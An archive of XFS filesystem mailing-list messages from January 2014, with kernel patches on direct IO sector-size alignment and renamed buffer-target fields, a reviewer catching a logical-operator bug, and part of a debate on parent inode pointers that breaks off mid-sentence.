Fri, 17 Jan 2014 12:28:06 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 9843C63BEBCB for ; Fri, 17 Jan 2014 14:28:05 -0600 (CST) Message-ID: <52D99255.9090609@sandeen.net> Date: Fri, 17 Jan 2014 14:28:05 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: xfs-oss Subject: [PATCH 3/3] xfs: allow logical-sector sized O_DIRECT IOs References: <52D6CC91.6000408@redhat.com> <52D9910C.9000205@sandeen.net> X-ASG-Orig-Subj: [PATCH 3/3] xfs: allow logical-sector sized O_DIRECT IOs In-Reply-To: <52D9910C.9000205@sandeen.net> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1389990486 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144189 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Some time ago, mkfs.xfs started picking the storage physical sector size as the default filesystem "sector size" in order to avoid RMW costs incurred by doing IOs at logical sector size alignments. However, this means that for a filesystem made with i.e. a 4k sector size on an "advanced format" 4k/512 disk, 512-byte direct IOs are no longer allowed. This means that XFS has essentially turned this AF drive into a hard 4K device, from the filesystem on up. XFS's mkfs-specified "sector size" is really just controlling the minimum size & alignment of filesystem metadata. There is no real need to tightly couple XFS's minimal metadata size to the minimum allowed direct IO size; XFS can continue doing metadata in optimal sizes, but still allow smaller DIOs for apps which issue them, for whatever reason. This patch adds new information to the xfs_buftarg, so that we now track 2 sizes: 1) The metadata sector size, which is the minimum unit and alignment of IO which will be performed by metadata operations. 2) The device logical sector size. The first is used internally by the file system for metadata alignment and IOs. The second is used for the minimum allowed direct IO size and alignment. This has passed xfstests on filesystems made with 4k sectors, including when run under the patch I sent to ignore XFS_IOC_DIOINFO, and issue 512 DIOs anyway. I also directly tested end of block behavior on preallocated, sparse, and existing files when we do a 512 IO into a 4k file on a 4k-sector filesystem, to be sure there were no unexpected behaviors. Signed-off-by: Eric Sandeen diff --git a/fs/xfs/xfs_buf.c b/fs/xfs/xfs_buf.c index a526f8d..5175711 100644 --- a/fs/xfs/xfs_buf.c +++ b/fs/xfs/xfs_buf.c @@ -1599,6 +1599,7 @@ xfs_setsize_buftarg( unsigned int blocksize, unsigned int sectorsize) { + /* Set up metadata sector size info */ btp->bt_meta_sectorsize = sectorsize; btp->bt_meta_sectormask = sectorsize - 1; @@ -1613,6 +1614,10 @@ xfs_setsize_buftarg( return EINVAL; } + /* Set up device logical sector size mask */ + btp->bt_logical_sectorsize = bdev_logical_block_size(btp->bt_bdev); + btp->bt_logical_sectormask = bdev_logical_block_size(btp->bt_bdev) - 1; + return 0; } diff --git a/fs/xfs/xfs_buf.h b/fs/xfs/xfs_buf.h index d5d88dd..9953395 100644 --- a/fs/xfs/xfs_buf.h +++ b/fs/xfs/xfs_buf.h @@ -88,6 +88,19 @@ typedef unsigned int xfs_buf_flags_t; */ #define XFS_BSTATE_DISPOSE (1 << 0) /* buffer being discarded */ +/* + * The xfs_buftarg contains 2 notions of "sector size" - + * + * 1) The metadata sector size, which is the minimum unit and + * alignment of IO which will be performed by metadata operations. + * 2) The device logical sector size + * + * The first is specified at mkfs time, and is stored on-disk in the + * superblock's sb_sectsize. + * + * The latter is derived from the underlying device, and controls direct IO + * alignment constraints. + */ typedef struct xfs_buftarg { dev_t bt_dev; struct block_device *bt_bdev; @@ -95,6 +108,8 @@ typedef struct xfs_buftarg { struct xfs_mount *bt_mount; unsigned int bt_meta_sectorsize; size_t bt_meta_sectormask; + size_t bt_logical_sectorsize; + size_t bt_logical_sectormask; /* LRU control structures */ struct shrinker bt_shrinker; diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c index 61a7de0..5507420 100644 --- a/fs/xfs/xfs_file.c +++ b/fs/xfs/xfs_file.c @@ -261,7 +261,8 @@ xfs_file_aio_read( xfs_buftarg_t *target = XFS_IS_REALTIME_INODE(ip) ? mp->m_rtdev_targp : mp->m_ddev_targp; - if ((pos || size) & target->bt_meta_sectormask) { + /* DIO must be aligned to device logical sector size */ + if ((pos || size) & target->bt_logical_sectormask) { if (pos == i_size_read(inode)) return 0; return -XFS_ERROR(EINVAL); @@ -641,9 +642,11 @@ xfs_file_dio_aio_write( struct xfs_buftarg *target = XFS_IS_REALTIME_INODE(ip) ? mp->m_rtdev_targp : mp->m_ddev_targp; - if ((pos || count) & target->bt_meta_sectormask) + /* DIO must be aligned to device logical sector size */ + if ((pos || count) & target->bt_logical_sectormask) return -XFS_ERROR(EINVAL); + /* "unaligned" here means not aligned to a filesystem block */ if ((pos & mp->m_blockmask) || ((pos + count) & mp->m_blockmask)) unaligned_io = 1; diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c index 64ca8e9..f7ac335 100644 --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -1587,7 +1587,7 @@ xfs_file_ioctl( XFS_IS_REALTIME_INODE(ip) ? mp->m_rtdev_targp : mp->m_ddev_targp; - da.d_mem = da.d_miniosz = target->bt_meta_sectorsize; + da.d_mem = da.d_miniosz = target->bt_logical_sectorsize; da.d_maxiosz = INT_MAX & ~(da.d_miniosz - 1); if (copy_to_user(arg, &da, sizeof(da))) From sandeen@redhat.com Fri Jan 17 14:51:14 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 81DE829E06 for ; Fri, 17 Jan 2014 14:51:14 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 14CCEAC003 for ; Fri, 17 Jan 2014 12:51:13 -0800 (PST) X-ASG-Debug-ID: 1389991872-04cbb04168e67e50001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id vnL2HOPDnRav1ySa for ; Fri, 17 Jan 2014 12:51:13 -0800 (PST) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s0HKpAVP018953 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 17 Jan 2014 15:51:11 -0500 Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s0HKp99b021195 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO) for ; Fri, 17 Jan 2014 15:51:10 -0500 Message-ID: <52D997BD.1090701@redhat.com> Date: Fri, 17 Jan 2014 14:51:09 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: xfs-oss Subject: [PATCH] xfs: remove unused tr_swrite X-Enigmail-Version: 1.6 X-ASG-Orig-Subj: [PATCH] xfs: remove unused tr_swrite Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1389991872 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 tr_swrite is never used, remove it. >From a very quick look, I think the usage of it (and its ancestor XFS_SWRITE_LOG_RES) went away in commit 13e6d5cd "xfs: merge fsync and O_SYNC handling" back in 2009. Signed-off-by: Eric Sandeen --- diff --git a/fs/xfs/xfs_trans_resv.c b/fs/xfs/xfs_trans_resv.c index 2fd59c0..445e171 100644 --- a/fs/xfs/xfs_trans_resv.c +++ b/fs/xfs/xfs_trans_resv.c @@ -784,7 +784,6 @@ xfs_trans_resv_calc( /* The following transaction are logged in logical format */ resp->tr_ichange.tr_logres = xfs_calc_ichange_reservation(mp); resp->tr_growdata.tr_logres = xfs_calc_growdata_reservation(mp); - resp->tr_swrite.tr_logres = xfs_calc_swrite_reservation(mp); resp->tr_fsyncts.tr_logres = xfs_calc_swrite_reservation(mp); resp->tr_writeid.tr_logres = xfs_calc_writeid_reservation(mp); resp->tr_attrsetrt.tr_logres = xfs_calc_attrsetrt_reservation(mp); diff --git a/fs/xfs/xfs_trans_resv.h b/fs/xfs/xfs_trans_resv.h index de7de9a..f76c129 100644 --- a/fs/xfs/xfs_trans_resv.h +++ b/fs/xfs/xfs_trans_resv.h @@ -42,7 +42,6 @@ struct xfs_trans_resv { struct xfs_trans_res tr_ifree; /* inode free trans */ struct xfs_trans_res tr_ichange; /* inode update trans */ struct xfs_trans_res tr_growdata; /* fs data section grow trans */ - struct xfs_trans_res tr_swrite; /* sync write inode trans */ struct xfs_trans_res tr_addafork; /* add inode attr fork trans */ struct xfs_trans_res tr_writeid; /* write setuid/setgid file */ struct xfs_trans_res tr_attrinval; /* attr fork buffer From sandeen@sandeen.net Fri Jan 17 14:52:44 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 81B7D7F53 for ; Fri, 17 Jan 2014 14:52:44 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 02A98AC004 for ; Fri, 17 Jan 2014 12:52:43 -0800 (PST) X-ASG-Debug-ID: 1389991962-04cbb04167e67ed0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id 5E9D3yxrkUhT08y6 for ; Fri, 17 Jan 2014 12:52:42 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 69EEC63BEBCB; Fri, 17 Jan 2014 14:52:42 -0600 (CST) Message-ID: <52D99819.2090405@sandeen.net> Date: Fri, 17 Jan 2014 14:52:41 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Brian Foster , xfs@oss.sgi.com Subject: Re: [PATCH] xfs: use tr_growrtalloc for growing rt files References: <1389989370-12159-1-git-send-email-bfoster@redhat.com> X-ASG-Orig-Subj: Re: [PATCH] xfs: use tr_growrtalloc for growing rt files In-Reply-To: <1389989370-12159-1-git-send-email-bfoster@redhat.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1389991962 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144189 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 1/17/14, 2:09 PM, Brian Foster wrote: > This is a regression from the following commit: > > 3d3c8b5222b9 xfs: refactor xfs_trans_reserve() interface > > Use the tr_growrtalloc log reservation for growing the > bitmap/summary files. > > Signed-off-by: Brian Foster Looks right to me. :) Reviewed-by: Eric Sandeen > --- > fs/xfs/xfs_rtalloc.c | 2 +- > 1 file changed, 1 insertion(+), 1 deletion(-) > > diff --git a/fs/xfs/xfs_rtalloc.c b/fs/xfs/xfs_rtalloc.c > index a6a76b2..ec5ca65 100644 > --- a/fs/xfs/xfs_rtalloc.c > +++ b/fs/xfs/xfs_rtalloc.c > @@ -842,7 +842,7 @@ xfs_growfs_rt_alloc( > /* > * Reserve space & log for one extent added to the file. > */ > - error = xfs_trans_reserve(tp, &M_RES(mp)->tr_growdata, > + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_growrtalloc, > resblks, 0); > if (error) > goto error_cancel; > From roger@filmlight.ltd.uk Fri Jan 17 15:12:23 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A8A5F7F76 for ; Fri, 17 Jan 2014 15:12:23 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8482430406A for ; Fri, 17 Jan 2014 13:12:20 -0800 (PST) X-ASG-Debug-ID: 1389993137-04bdf00fe276fab0001-NocioJ Received: from b.mx.filmlight.ltd.uk (b.mx.filmlight.ltd.uk [77.107.81.251]) by cuda.sgi.com with SMTP id HTe8CbmA4HmBWPVF for ; Fri, 17 Jan 2014 13:12:18 -0800 (PST) X-Barracuda-Envelope-From: roger@filmlight.ltd.uk X-Barracuda-Apparent-Source-IP: 77.107.81.251 Received: (dqd 19263 invoked from network); 17 Jan 2014 21:12:17 -0000 Received: from montana.filmlight.ltd.uk (HELO ?10.44.0.132?) (roger@10.44.0.132) by b.mx.filmlight.ltd.uk with SMTP; 17 Jan 2014 21:12:17 -0000 Subject: Re: [PATCH 2/3] xfs: rename xfs_buftarg structure members From: Roger Willcocks X-ASG-Orig-Subj: Re: [PATCH 2/3] xfs: rename xfs_buftarg structure members To: Eric Sandeen Cc: xfs-oss In-Reply-To: <52D991E5.1010300@sandeen.net> References: <52D6CC91.6000408@redhat.com> <52D9910C.9000205@sandeen.net> <52D991E5.1010300@sandeen.net> Content-Type: text/plain Date: Fri, 17 Jan 2014 21:12:17 +0000 Message-Id: <1389993137.4298.938.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.12.3 (2.12.3-19.el5) Content-Transfer-Encoding: 7bit X-Barracuda-Connect: b.mx.filmlight.ltd.uk[77.107.81.251] X-Barracuda-Start-Time: 1389993138 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144189 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- - if ((pos & target->bt_smask) || (size & target->bt_smask)) { + if ((pos || size) & target->bt_meta_sectormask) { nope... || needs to be | (pos || size) yields a boolean Roger Willcocks From sandeen@sandeen.net Fri Jan 17 15:13:28 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A1D6E7F78 for ; Fri, 17 Jan 2014 15:13:28 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3C2D6AC002 for ; Fri, 17 Jan 2014 13:13:25 -0800 (PST) X-ASG-Debug-ID: 1389993203-04cb6c537ce55130001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id dGEdLZgBQarjDF8C for ; Fri, 17 Jan 2014 13:13:23 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 9A4E363BEBCB; Fri, 17 Jan 2014 15:13:23 -0600 (CST) Message-ID: <52D99CF3.2010507@sandeen.net> Date: Fri, 17 Jan 2014 15:13:23 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Roger Willcocks CC: xfs-oss Subject: Re: [PATCH 2/3] xfs: rename xfs_buftarg structure members References: <52D6CC91.6000408@redhat.com> <52D9910C.9000205@sandeen.net> <52D991E5.1010300@sandeen.net> <1389993137.4298.938.camel@localhost.localdomain> X-ASG-Orig-Subj: Re: [PATCH 2/3] xfs: rename xfs_buftarg structure members In-Reply-To: <1389993137.4298.938.camel@localhost.localdomain> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1389993203 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144189 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 1/17/14, 3:12 PM, Roger Willcocks wrote: > - if ((pos & target->bt_smask) || (size & target->bt_smask)) { > + if ((pos || size) & target->bt_meta_sectormask) { > > nope... > > || needs to be | > > (pos || size) yields a boolean > > > > > Roger Willcocks > Oof. Brain fart. Thank you :) From sandeen@sandeen.net Fri Jan 17 15:14:20 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4644B7F78 for ; Fri, 17 Jan 2014 15:14:20 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id B510AAC002 for ; Fri, 17 Jan 2014 13:14:19 -0800 (PST) X-ASG-Debug-ID: 1389993258-04cbb04169e686c0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id bF8xLgF1AQq0MNlo for ; Fri, 17 Jan 2014 13:14:18 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 1422861A2DA6 for ; Fri, 17 Jan 2014 15:14:18 -0600 (CST) Message-ID: <52D99D29.4020400@sandeen.net> Date: Fri, 17 Jan 2014 15:14:17 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: xfs-oss Subject: [PATCH 2/3 V2] xfs: rename xfs_buftarg structure members References: <52D6CC91.6000408@redhat.com> <52D9910C.9000205@sandeen.net> <52D991E5.1010300@sandeen.net> X-ASG-Orig-Subj: [PATCH 2/3 V2] xfs: rename xfs_buftarg structure members In-Reply-To: <52D991E5.1010300@sandeen.net> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1389993258 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144189 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- In preparation for adding new members to the xfs_buftarg structure, give these old ones more descriptive names: bt_ssize -> bt_meta_sectorsize bt_smask -> bt_meta_sectormask (Note the slight change in logic format in xfs_file_aio_read(() and xfs_file_dio_aio_write(); this was done just for formatting, and should not change actual logic or behavior.) Signed-off-by: Eric Sandeen --- V2: Really make the logic equivalent, thanks Roger! diff --git a/fs/xfs/xfs_buf.c b/fs/xfs/xfs_buf.c index b664bce..a526f8d 100644 --- a/fs/xfs/xfs_buf.c +++ b/fs/xfs/xfs_buf.c @@ -445,8 +445,8 @@ _xfs_buf_find( numbytes = BBTOB(numblks); /* Check for IOs smaller than the sector size / not sector aligned */ - ASSERT(!(numbytes < btp->bt_ssize)); - ASSERT(!(BBTOB(blkno) & (xfs_off_t)btp->bt_smask)); + ASSERT(!(numbytes < btp->bt_meta_sectorsize)); + ASSERT(!(BBTOB(blkno) & (xfs_off_t)btp->bt_meta_sectormask)); /* * Corrupted block numbers can get through to here, unfortunately, so we @@ -1599,8 +1599,8 @@ xfs_setsize_buftarg( unsigned int blocksize, unsigned int sectorsize) { - btp->bt_ssize = sectorsize; - btp->bt_smask = sectorsize - 1; + btp->bt_meta_sectorsize = sectorsize; + btp->bt_meta_sectormask = sectorsize - 1; if (set_blocksize(btp->bt_bdev, sectorsize)) { char name[BDEVNAME_SIZE]; diff --git a/fs/xfs/xfs_buf.h b/fs/xfs/xfs_buf.h index 4ef949a..d5d88dd 100644 --- a/fs/xfs/xfs_buf.h +++ b/fs/xfs/xfs_buf.h @@ -93,8 +93,8 @@ typedef struct xfs_buftarg { struct block_device *bt_bdev; struct backing_dev_info *bt_bdi; struct xfs_mount *bt_mount; - unsigned int bt_ssize; - size_t bt_smask; + unsigned int bt_meta_sectorsize; + size_t bt_meta_sectormask; /* LRU control structures */ struct shrinker bt_shrinker; diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c index 52c91e1..61a7de0 100644 --- a/fs/xfs/xfs_file.c +++ b/fs/xfs/xfs_file.c @@ -261,7 +261,7 @@ xfs_file_aio_read( xfs_buftarg_t *target = XFS_IS_REALTIME_INODE(ip) ? mp->m_rtdev_targp : mp->m_ddev_targp; - if ((pos & target->bt_smask) || (size & target->bt_smask)) { + if ((pos | size) & target->bt_meta_sectormask) { if (pos == i_size_read(inode)) return 0; return -XFS_ERROR(EINVAL); @@ -641,7 +641,7 @@ xfs_file_dio_aio_write( struct xfs_buftarg *target = XFS_IS_REALTIME_INODE(ip) ? mp->m_rtdev_targp : mp->m_ddev_targp; - if ((pos & target->bt_smask) || (count & target->bt_smask)) + if ((pos | count) & target->bt_meta_sectormask) return -XFS_ERROR(EINVAL); if ((pos & mp->m_blockmask) || ((pos + count) & mp->m_blockmask)) diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c index 39c38ee..64ca8e9 100644 --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -1587,7 +1587,7 @@ xfs_file_ioctl( XFS_IS_REALTIME_INODE(ip) ? mp->m_rtdev_targp : mp->m_ddev_targp; - da.d_mem = da.d_miniosz = target->bt_ssize; + da.d_mem = da.d_miniosz = target->bt_meta_sectorsize; da.d_maxiosz = INT_MAX & ~(da.d_miniosz - 1); if (copy_to_user(arg, &da, sizeof(da))) _______________________________________________ xfs mailing list xfs@oss.sgi.com http://oss.sgi.com/mailman/listinfo/xfs From tinguely@sgi.com Fri Jan 17 15:25:40 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4A3297F83 for ; Fri, 17 Jan 2014 15:25:40 -0600 (CST) Received: from eagdhcp-232-151.americas.sgi.com (eagdhcp-232-151.americas.sgi.com [128.162.232.151]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0A8FE8F8070; Fri, 17 Jan 2014 13:25:36 -0800 (PST) Message-ID: <52D99FD2.6000601@sgi.com> Date: Fri, 17 Jan 2014 15:25:38 -0600 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [RFC 00/17] RFC parent inode pointers. References: <20140115220012.624438534@sgi.com> <20140116055607.GR3431@dastard> In-Reply-To: <20140116055607.GR3431@dastard> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 01/15/14 23:56, Dave Chinner wrote: > On Wed, Jan 15, 2014 at 04:00:12PM -0600, Mark Tinguely wrote: >> Yeah, yeah, this has gotten buried several times and better get out on >> the list for discussion before it gets buried yet again. >> >> Parent inode support allow XFS to quickly derive a file name and >> path from the mount point. This can aid in directory/path policies >> and can help relocate items during filesystem shrink. >> >> 1) Representation of a parent inode entry: >> >> There are several ways to represent the parent inode entry. >> A 2005 XFS meeting came up with the following ideas: >> >> 1) Storing the parent inode# list inside the inode with a separate field >> separate fork > > Too complex, rejected in the first few minutes of discussion. > >> 2) Storing the parent inode# list in EA names with null values >> EA: > > Not uniquely identifying the filename of the inode in parent > directory, so can't tell if name that points to inode is current. > Hard links are impossible to handle. never implemented. > >> 3) As in (2) but store the 1st parent inode# in a field in the inode >> first-parent-ptr + > > Same problem, didn't handle hard links. Also not enough space in the > inode core to implement. > >> 4) As in (2) but store the hardlink names as EA values >> EA: > > Same problem as 2, but added complexity in requiring multiple code > paths to keep parent pointers up to date. Never answered the > question of "when we remove the parent in the inode, who is the new > "primary" parent? Never implemented. > >> 5) As in (2) but store the EAs on directories as well as leaf files >> EAs on directories. > > Tried to solve problems with 4) by adding more information to > directories. Even more complex, had problems with uniquely > identifying hard links, really convoluted transaction contexts and > locking. Never implemented. > >> 6) Storing the parent inode# + directory offset in EA names with null values >> EA: > > Uniquely identifies the directory entry *slot*, but does not > necessarily identify correct filename. Handled hard links if you > ignore the parent identity uniqueness issue, but demonstrated > unscalable name lookup behaviour. how is this the wrong file name? How is a directory xfs_readname() in a ioctl unscalable? Adding file names to a EA, that limits scalability. Having to do a EA sequential lookup in the remove/rename data paths to find a EA to remove, that is unscalable. > >> The preferred method was #6. > > As it was, this once looked like the solution. IIRC, this was the > design that was implemented for Irix and shipped in 6.5.28 but was > never used in production by anyone because of problems that became > apparent after it was shipped. It was fundamentally flawed, and > those flaws were uncovered when porting the Irix implementation to > Linux. > The Irix 6.5.X does not use this method. It uses stripped down version of 2009 code. A combination. > Using the directory offset was discovered to be problematic when > there were multiple hardlinks into the same directory for the same > inode. You can remove links and add links, and the only thing that > changes is the diroffset. Hence to do a safe reverse lookup, you > have to first lock the inode to stabilise the EA, then read the > parent pointer to get the parent directory, then get the parent > inode and lock it so that nobody is modifying it as we traverse it > during a offset->name lookup. um, you are wrong, it is not this version of the code. It uses some inode/generation combination. > > But this violated the VFS directory tree locking order, which is > parent->child. Think about a racing unlink that has locked the > parent inode vs a parent pointer lookup that has lock the 